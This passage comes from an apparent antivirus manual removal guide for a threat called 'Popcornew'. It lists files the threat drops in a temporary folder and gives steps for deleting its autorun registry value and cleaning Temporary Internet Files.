   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_hi.dll (29 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_pl.dll (24 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdate.dll (1990 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_th.dll (22 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_vi.dll (22 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\GUM4.tmp\goopdateres_sk.dll (24 bytes)

4. Delete the following value(s) in the autorun key (How to Work with System Registry):
   

   [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
   "Popcornew" = "%Program Files%\Popcornew\Popcornew\popcornew.exe"

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.